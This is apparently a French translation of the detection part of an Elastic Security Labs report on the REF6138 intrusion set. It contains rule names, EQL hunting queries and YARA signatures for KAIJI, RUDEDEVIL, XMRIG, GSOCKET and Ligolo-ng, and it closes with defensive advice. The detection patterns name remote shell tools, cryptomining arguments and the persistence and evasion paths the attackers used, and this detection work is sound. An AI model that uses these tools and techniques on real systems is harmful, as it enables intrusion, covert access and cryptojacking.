Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise. Au cours de cette enquête, nous avons identifié les tactiques, techniques et sous-techniques suivantes :

MITRE ATT&Tactiques, techniques et sous-techniques CK utilisées

Détection de REF6138

Elastic Security met en œuvre une approche multicouche de la détection des menaces, en s'appuyant sur des règles comportementales SIEM et Endpoint, des signatures YARA et des approches de détection d'anomalies basées sur le ML. Cette section décrit les détections élaborées par Elastic Security qui jouent un rôle important dans la capture des menaces identifiées.

Détection

Les règles de détection suivantes ont été observées tout au long de l'analyse de cet ensemble d'intrusions :

• Détection des défauts de segmentation
• La commande tactile au service de la lutte contre la fraude temporelle
• Création ou modification de la configuration du shell
• Binaire du système déplacé ou copié

La prévention

Les événements suivants de prévention des comportements ont été observés tout au long de l'analyse de cet ensemble d'intrusions :

• Linux Reverse Shell via un utilitaire suspect
• Défense Evasion via Bind Mount
• Exécution d'un processus enfant suspect sous Linux via le shell interactif
• Lancement d'un outil de piratage potentiel pour Linux
• Escalade de privilèges via l'exploitation de PKEXEC
• Téléchargement d'un ver SSH-IT SSH potentiel
• Travail planifié exécutant un fichier binaire à un endroit inhabituel

Les signatures YARA suivantes sont en place pour détecter les échantillons de logiciels malveillants KAIJI et RUDEDEVIL à la fois en tant que fichier et en mémoire :

• Menace.générique.Linux
• Linux.Hacktool.Flooder

Les alertes suivantes, qui seront bientôt publiées, ont été observées tout au long de l'analyse de cet ensemble d'intrusions :

• Shell potentiel via le serveur Web
• Injection potentielle de code dans le serveur Web
• Shell potentiel exécuté par l'utilisateur du serveur web
• Décoder l'activité via le serveur Web
• Linux Telegram API Request
• Exécution suspecte de l'écho

Chasser les requêtes dans Elastic

Les événements pour KQL et EQL sont fournis par l'agent Elastic à l'aide de l'intégration Elastic Defend. Les requêtes de chasse peuvent renvoyer des signaux élevés ou des faux positifs. Ces requêtes sont utilisées pour identifier des comportements potentiellement suspects, mais une enquête est nécessaire pour valider les résultats.

Requêtes EQL

En utilisant la section Timeline de la solution de sécurité dans Kibana sous l'onglet "Corrélation", vous pouvez utiliser les requêtes EQL ci-dessous pour rechercher des comportements similaires :

Exécution potentielle de la XMRIG

La requête EQL suivante peut être utilisée pour rechercher les exécutions XMRIG dans votre environnement.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

Accès à l'écriture de la MSR activé

XMRIG utilise modprobe pour permettre l'accès en écriture à MSR. Cette activité est anormale et ne devrait pas se produire par défaut.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

Activité potentielle de GSOCKET

Cette activité est le comportement par défaut lors du déploiement de GSOCKET par les méthodes de déploiement recommandées. En outre, plusieurs arguments sont ajoutés à la requête afin de réduire les risques de manquer une intrusion plus personnalisée par le biais de GSOCKET.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Processus potentiel de masquage via Exec

GSOCKET utilise la méthode exec -a pour exécuter un processus sous un autre nom. GSOCKET exploite spécifiquement les masquages en tant que processus du noyau, mais d'autres logiciels malveillants peuvent se faire passer pour des processus différents.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Exécution Renice ou Ulimit

Plusieurs malwares, dont KAIJI et RUDEDEVIL, exploitent l'utilitaire renice pour modifier la priorité des processus ou fixer des limites de ressources pour les processus. Cette fonction est couramment utilisée par les logiciels malveillants de minage pour augmenter la priorité des processus de minage afin de maximiser les performances du minage.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Service Cron(d) inexistant démarré

KAIJI et RUDEDEVIL établissent la persistance par la création d'un service cron(d) dans /etc/init.d/cron(d). Cronpar défaut, n'utilise pas le service SysV Init. L'exécution d'un service cron(d) est suspecte et doit faire l'objet d'une analyse plus approfondie.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Exécution suspecte du processus /etc/ à partir de KAIJI

Le répertoire /etc/ n'est pas un répertoire couramment utilisé pour l'exécution de processus. KAIJI est connu pour placer un binaire appelé 32678 et id.services.conf dans le répertoire /etc/, afin d'établir une persistance et d'échapper à la détection.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Création de fichiers cachés dans le répertoire /dev/

La création de fichiers cachés dans /dev/ et /dev/shm/ n'est pas intrinsèquement malveillante, mais cette activité devrait être rare. KAIJI, GSOCKET et d'autres logiciels malveillants tels que K4SPREADER sont connus pour déposer des fichiers cachés dans ces emplacements.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Exécution suspecte d'un processus à partir d'un exécutable parent dans /boot/.

Des logiciels malveillants tels que KAIJI et XORDDOS sont connus pour placer des fichiers exécutables dans le répertoire /boot/ et les utiliser pour établir une persistance tout en essayant d'échapper à la détection.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security a créé des règles YARA pour identifier cette activité. Vous trouverez ci-dessous la règle YARA permettant d'identifier le logiciel malveillant personnalisé Apache2:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

Pour détecter GSOCKET, ainsi que plusieurs de ses outils adjacents, nous avons créé la signature suivante :

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Enfin, la signature suivante a été écrite pour détecter l'outil open source Ligolo-ng, car nous avons des raisons de penser que cet outil a été utilisé lors de cette intrusion.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Défenses recommandées

Pour se défendre efficacement contre les campagnes de logiciels malveillants et minimiser le risque d'intrusion, il est essentiel de mettre en œuvre une approche multicouche de la sécurité. Voici quelques mesures défensives essentielles auxquelles vous devez donner la priorité :

1. Maintenez vos règles de détection élastiques à jour et activées: Assurez-vous que vos outils de sécurité, y compris les règles de détection prédéfinies, sont à jour. Les mises à jour permanentes permettent à vos systèmes de détecter les signatures et les comportements les plus récents des logiciels malveillants.
2. Activer le mode prévention dans Elastic Defend : Configurez Elastic Defend en mode prévention pour bloquer automatiquement les menaces connues au lieu de simplement les alerter. Le mode prévention assure une défense proactive contre les logiciels malveillants et les exploits.
3. Surveillez les alertes et les journaux: Surveillez régulièrement les alertes, les journaux et les serveurs pour détecter tout signe d'activité suspecte. La détection précoce d'un comportement inhabituel peut permettre d'éviter qu'une petite brèche ne se transforme en une véritable compromission.
4. Menez une chasse aux menaces: Recherchez de manière proactive dans votre environnement les menaces cachées qui ont pu échapper à la détection. La chasse aux menaces permet de découvrir des attaques avancées et des logiciels malveillants persistants qui contournent les mesures de sécurité traditionnelles.
5. Mettre en œuvre des pare-feu pour applications Web (WAF): Utilisez un WAF pour bloquer le trafic non autorisé ou malveillant. Un pare-feu correctement configuré peut empêcher de nombreuses attaques Web courantes.
6. Renforcez l'authentification pour SSH: utilisez l'authentification par clé publique/privée pour l'accès SSH afin de vous protéger contre les attaques par force brute.
7. Rédiger un code sécurisé: Veillez à ce que tous les logiciels personnalisés, en particulier la technologie des serveurs web, respectent des pratiques de codage sécurisées. Faire appel à des auditeurs de sécurité professionnels pour examiner votre code peut permettre d'identifier et d'atténuer les vulnérabilités avant qu'elles ne soient exploitées.
8. Apportez régulièrement des correctifs et des mises à jour aux systèmes: Il est essentiel de maintenir les serveurs, les applications et les logiciels à jour pour se défendre contre les vulnérabilités connues. L'application rapide de correctifs minimise le risque d'être la cible d'exploits ordinaires.

En suivant ces recommandations, vous pouvez réduire considérablement la surface d'attaque et renforcer votre défense contre les menaces actuelles ou potentielles de logiciels malveillants.

Observations

Les observables suivants ont été examinés dans le cadre de cette recherche. Vous pouvez les télécharger au format STIX ou ECS ici.

Références

Les éléments suivants ont été référencés tout au long de la recherche ci-dessus :

• https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
• https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
• https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
• https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
• https://github.com/hackerschoice/gsocket